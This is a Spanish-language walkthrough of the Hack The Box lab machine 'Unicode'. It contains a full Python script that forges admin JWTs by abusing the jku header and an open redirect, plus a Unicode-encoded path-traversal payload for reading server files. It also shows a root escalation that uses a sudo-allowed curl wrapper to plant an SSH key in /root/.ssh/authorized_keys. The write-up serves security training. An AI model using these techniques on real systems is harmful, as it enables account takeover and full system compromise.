Enumerando encontramos un servicio web en el cuál podemos iniciar una sesión y obtener una cookie en formato JSON Web Token (JWT) con el campo JKU expuesto que permite crearnos una cookie para entrar como administrador. Existe un apartado vulnerable a Local File Inclusion (LFI) que nos permite enumerar archivos de configuración del servidor Nginx y obtener credenciales de un usuario para entrar por el protocolo Secure Shell (SSH). Para la escalada de privilegios logramos la authorización de nuestro par de llaves de autenticación por medio de la herramienta curl, que era parte de un binario que podiamos ejecutar como root.
OS | IP | Release Date | Difficulty | Points |
---|---|---|---|---|
Linux | 10.10.11.126 | 27 Nov 2021 | Medium | 30 |
Antes de empezar la máquina es importante revisar si tenemos conexión con ella, para ello usamos el comando ping
:
Explicación de parámetros:
-c <count> : Número de paquetes ICMP que deseamos enviar a la máquina
Sistema Operativo por aprox. del TTL (Time To Live) :
64 -> Linux | 128 -> Windows
Enumeration
Comenzamos escaneando los puertos TCP abiertos con la herramienta nmap
:
Explicación de parámetros :
-p- : Escanear todos los puertos, del 1 al 65,535
--open : Escanear solo puertos abiertos
-sS : Solo enviar paquetes de tipo SYN (inicio de conexión), incrementa velocidad del escaneo
--min-rate <number> : Enviar una taza (<number>) de paquetes por segundo como mínimo
-v : Imprimir información del proceso del escaneo
-n : No buscar nombres de dominio asociadas a la IP en cuestión (rDNS)
-oG <file> : Guardar output en un archivo (<file>) de formato grepable
Observamos que la máquina tiene abierto el puerto 22 (ssh) y 80 (http), asi que procedemos a escanear de manera específica cada uno de estos puertos:
Explicación de parámetros :
-p<port_1,port_2,...> : Indicamos que puertos queremos escanear
-sC : Ejecutar en los puertos scripts por defecto de nmap
-sV : Activar detección de versiones de los servicios que corren por los puertos
-oN <file> : Guardar el output del escaneo en un archivo con formato Nmap
Omitimos entrar por el puerto 22 ya que no disponemos de credenciales para entrar por SSH.
Observamos que hay un servicio http por el puerto 80, así que ejecutamos un whatweb
para obtener un poco mas de información y por otro lado ingresamos a la página por el navegador
Toqueteando un poco encontramos un botón con una redirección a una URL específica, y secciones para registrarnos y logearnos:
Intentamos registrarnos:
Nos logeamos:
Y ya tenemos una sessión:
De primeras solo hay de interesante subir un archivo, lo cúal puede ser una brecha, pero intentando un poco no conseguimos nada.
Lo que sí, ayudandonos un poco del nombre de la máquina Unicode, y que tenemos una sesión, pues al observar la cookie de sesión vemos algo interesante:
Si conoces un poco de formatos sabras por la separación de puntos(.) de que se trata.
Si es la primera vez que miras una cookie así, lo que puedes hacer es intentar decodearla a un formato clásico, en este caso a base64
:
Logramos observar una estructura en formato json
y vemos que en un campo especifica el tipo JWT
, y averiguando un poco encontramos:
Ahora que ya tenemos una idea procedemos a decodear la cookie para ver mas información, usamos una página muy útil: https://jwt.io
Observamos en el campo jku
un enlace al archivo jwks.json
, primero averiguamos de que va para luego saber que vamos a encontrar:
Para ver el archivo necesitamos aplicar Virtual hosting agregando nombre de dominio hackmedia.htb a nuestro archivo /etc/hosts: echo "10.10.11.126 hackmedia.htb" >> /etc/hosts
Una vez dentro observamos el contenido:
Sabiendo todo esto, tendriamos una brecha para poder conseguir una cookie de sessión
pero como admin
.
Foothold
El ataque consiste en crear token para logearnos como usuarios admin
, para ello debemos hacer lo siguiente:
- Generamos un par de llaves para firmar nuestro token
keypair.pem
- Descargamos el archivo
http://hackmedia/static/jwks.json
- Extraemos de
keypair.pem
las llaves para validación y las asignamos al archivojwks.json
- Generamos nuestro token con los campos correspondientes. Y un paso importante, usamos la redirección que tiene la página
href="/redirect/?url=google.com"
- Reemplazamos en el campo
jku
para que apunte a nuestro archivojwks.json
y valide el token - Abrimos un servicio por un puerto para que pueda leerse el archivo
jwks.json
- Asignamos la cookie a la página web, actualizamos, recibimos la peticioń en nuestro servicio en escucha y ya somos
admin
Para agilizar el proceso hize un script en python
el cúal pasando los parámetros IP-ATACANTE, PUERTO, COOKIE, IP-VÍCTIMA logra generarte el token del usuario admin
, abrirte un servicio en el puerto especificado, para luego asignar la cookie a la web, actualizar y listo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/python3
import os
import sys
import subprocess
import requests
import pdb
import json
import jwt as jwt_header
from jwcrypto import jwk as jwk_crypt, jwt as jwt_crypt
import time
from termcolor import cprint
import signal
#ctrl+c
def handler(signum, frame):
remove_files()
printRed("\n[-] Exiting...\n")
sys.exit(1)
signal.signal(signal.SIGINT, handler)
#JWK packages
def requirements():
printRed("\n\n[!] Requirements!\n")
printGreen("\t[+] pip install jwcrypto\n")
printGreen("\t[+] pip install PyJWT\n")
#colors
printRed = lambda s: cprint(s, 'red', end=' ')
printYellow = lambda s: cprint(s, 'yellow', end=' ')
printMagenta = lambda s: cprint(s, 'magenta', end=' ')
printGreen = lambda s: cprint(s, 'green', end=' ')
#panel_help
def help():
printYellow("\n[*] Uso : ")
printMagenta(f"python3 {sys.argv[0]} <ip_address> <port> <cookie_session>")
requirements()
exit(1)
#valid_input
if len(sys.argv) != 4: help()
#global variables
ip = sys.argv[1]
port = sys.argv[2]
user_token = sys.argv[3]
#create keys
def gen_key():
subprocess.run(['openssl', 'genrsa', '-out', 'keypair.pem', '2048'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
#remove files
def remove_files():
subprocess.run(['rm', 'keypair.pem', 'jwks.json'])
#get header token
def get_headers():
headers = jwt_header.get_unverified_header(user_token)
return headers
#decode user_token
def download_json():
headers = get_headers()
jku = headers['jku']
os.system(f"wget {jku} 2>/dev/null")
#create new json
def create_json(key):
with open("jwks.json", "r") as jsonfile:
data = json.load(jsonfile)
data['keys'][0]['kid'] = key.kid
data['keys'][0]['n'] = key.n
data['keys'][0]['e'] = key.e
with open("jwks.json", "w") as jsonfile:
json.dump(data, jsonfile)
#get data token
def get_data_key():
with open("keypair.pem", "rb") as pemfile:
key = jwk_crypt.JWK.from_pem(pemfile.read())
return key
#create token
def gen_token(key):
headers = get_headers()
token = jwt_crypt.JWT(
header = {
"alg" : headers['alg'],
"jku" : f"http://hackmedia.htb/static/../redirect/?url={ip}:{port}/jwks.json"
},
claims = {
"user" : "admin"
}
)
token.make_signed_token(key)
return token.serialize()
#port sharing manually
def listen_port(port):
printYellow(f"\n\n[+] Opening port {port} to share")
printRed("jwks.json")
printYellow("file...")
printYellow(f"\n[+] Serving HTTP on 0.0.0.0 port {port}:\n")
subprocess.run(['python3', '-m', 'http.server', str(port)])
if __name__ == '__main__':
gen_key()
download_json()
key = get_data_key()
create_json(key)
admin_token = gen_token(key)
printRed("\n[+] Admin token: ")
printGreen(f"{admin_token}")
listen_port(port)
Pueden clonar el script en mi respositorio: https://github.com/E1P0TR0
Ejecutando el script y siguiendo los pasos anteriores ya estariamos logeados como admin
:
Después de toquetear un poco encontramos una sesión de reportes donde podemos observar que se utiliza un archivo pdf
que proviene de otra locación:
Podriamos estar frente a un LFI (Local File Inclusion)
, y en específico a un path traversal attack
Entonces intentamos un ataque básico al /etc/passwd
:
Interesante!, pues al parecer exite un filtro. Pero otra vez, tomando el cuenta el nombre de la máquina Unicode
podemos intentar buscar vulnerabilidades asociadas
Buscando en la biblia de los hackers Hacktricks encontramos como engañar al filtro remplazando el caracter \
por su equivalente en Unicode %ef%bc%8f
y con ello crear el path malicioso para comprobar si es vulnerable: ..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd
:
Explicación de parámetros :
-c : Output colorido
-mc <status_code> : Solo mostrar respuesta del código de estado asignado
-w <wordlist> : Wordlist a usar para el ataque de fuerza bruta
-b <cookie> : Asignar nuestra cookie de sessión
-u <url> : Url objetivo con el reemplazo del FUZZ correspondiente
-fw <number> : Filtrar por cantidad de palabras en la respuesta
Pueden clonar la herramienta en el siguitent repositorio: https://github.com/ffuf/ffuf
No llegamos a encontrar nada interesante, pero sabemos que podemos buscar archivos del sistema. Por ello, intentamos encontrar archivos de configuración del servidor web/proxy Nginx
que corre en el sistema
Investigando un buen tiempo encontramos algunos archivos de configuración de Nginx
:
En el primer archivo no encontramos nada interesante, pero en el segundo que es un directorio para alojar Server block
encontramos en internet que hay uno por defecto llamado default
:
Ojito, al entrar encontramos un comentario sobre un cambio de contraseña de un usuario y se encuentra en un archivo db.yaml
:
Observamos el path /home/code/coder/static/styles/
, y el usuario code
que anteriormente vimos en el /etc/passwd
.
Entonces vamos buscando la locación del archivo db.yaml
, logramos encontrarlo en /home/code/coder/db.yaml
y son unas credenciales de mysql
:
Recordamos que tenemos el puerto SSH abierto, y como vemos que tenemos un usuario y contraseña probamos la credenciales encontradas como el usuario code
y obtenemos la flag:
Privilege Escalation
Ya dentro como el usuario code
, como es costumbre usamos scripts básicos para buscar binarios con permisos SUID find \ -perm -4000 2>/dev/null
o binarios que podemos ejecutar como root sudo -l
:
Observamos que podemos ejecutar el binario /usr/bin/treport
como root:
De las tres opciones la más interesante es la 3. que nos permite descargar archivos.
Pero antes de eso debemos saber que está usando el binario por detrás para hacer las descargas. Para ello hay dos maneras:
- Insertar un campo vacío en la opción 3:
- Insertar un campo vacío en la opción 1 y visualizando que hay un archivo en
python
usar una herramienta para extraer archivos enpython
pyinstxtractor y luego otra herramienta para decompilarla, sea legible pycdc y poder visualizar el archivotreport.py
:
En ambos casos observamos que la herramienta que está por detrás es curl
, asi que es posible que tengamos una brecha para escalar privilegios
Investigando un poco encontré que podemos descargar archivos del equipo local con curl
usando el protocolo FILE:
Usando el comando File:///root/root.txt
podemos descargar la flag de root para luego visualizarla:
Pero lo que queremos es entrar como usuarios root
asi que intenté leer si había una llave privada para entrar por SSH, pude obtenerla pero al entrar me pedía contraseña, asi que busqué otra manera.
Lo que hice fue crearme un par de llaves rsa
:
Enviar la llave pública a la máquina víctima al directorio /tmp
:
Cambiar el nombre de la llave pública (id_rsa.pem) a authorized_keys
, luego usando el binario treport
junto a curl
copiar el archivo a la ruta /root/.ssh/
y así desde mi máquina entrar con la llave privada que también generé:
Verificamos el archivo /root/.ssh/authorized_keys
:
Observamos que se encuentra nuestra llave pública, así que ahora asignamos permisos a nuestra llave privada, nos logeamos como root
por el puerto 22 por ssh
y pa-dentro!: